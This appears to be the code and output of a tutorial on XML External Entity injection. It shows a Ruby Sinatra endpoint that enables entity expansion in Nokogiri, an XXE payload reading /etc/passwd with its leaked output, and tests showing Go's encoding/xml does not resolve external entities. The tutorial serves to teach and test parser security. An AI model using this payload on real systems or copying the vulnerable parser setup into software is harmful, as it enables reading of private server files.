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require 'sinatra'

require 'nokogiri'

post '/parse-xml' do

   xml_payload = params[:xml_payload]

   parsed_xml = Nokogiri::XML(xml_payload) do |config|

       config.options = Nokogiri::XML::ParseOptions::NOENT

   end

   return "#{parsed_xml}"

end
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<?xml version="1.0"?>

<root>

   <child>some benign content</child>

</root>

<?xml version="1.0"?>

<root>

   <child>some benign content</child>

</root>
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<?xml version="1.0"?>

<!DOCTYPE root [<!ENTITY example_entity "foo">]>

<root>

   <child>&example_entity;</child>

</root>

<?xml version="1.0"?>

<!DOCTYPE root [<!ENTITY example_entity "foo">]>

<root>

   <child>foo</child>

</root>
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<?xml version="1.0"?>

<!DOCTYPE root [<!ENTITY example_entity SYSTEM 'file:///etc/passwd'>]>

<root>

   <child>&example_entity;</child>

</root>
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<?xml version="1.0"?>

<!DOCTYPE root [<!ENTITY example_entity SYSTEM "file:///etc/passwd">]>

<root>

   <child>##

# User Database

#

# Note that this file is consulted directly only when the system is running

# in single-user mode.  At other times this information is provided by

 ...

nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

root:*:0:0:System Administrator:/var/root:/bin/sh

...
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"encoding/xml" 
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Root struct
- decoder.Strict = false

- decoder.Strict = true

import (

   "encoding/xml"

)

type Root struct {

   Child string `xml:"child"`

}

func main() {

   document := `

   <?xml version="1.0"?>

   <!DOCTYPE root [<!ENTITY example SYSTEM  

'file:///etc/passwd'>]>

   <root>

       <child>& example;</child>

   </root>`

   decoded := Root{}

   decoder := xml.NewDecoder(strings.NewReader(document))

   decoder.Strict  = false

   if err := decoder.Decode(&decoded); err != nil {

       fmt.Println("Error:", err)

       os.Exit(1)

   }

   fmt.Printf("XML parsed into struct: %v \n", decoded)

}

go run firstattempt.go              
XML parsed into struct: {&example;} 

go run firstattempt.go

Error: XML syntax error on line 5: 
invalid character entity &example;

exit status 1
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decoder.Entity = make(map[string]string, 128)

decoder.Entity["example"] = "SYSTEM 'file:///etc/passwd'"

go run entitymap.go

XML parsed into struct: {SYSTEM 'file:///etc/passwd'}
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if r, ok := entity[s]; ok {

   text = string(r)

   haveText = true

 } else if d.Entity != nil {

   text, haveText = d.Entity[s]

}

- xml.go

.Entity

-

os.Open() http.Get()

- "encoding/xml"
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libxml2
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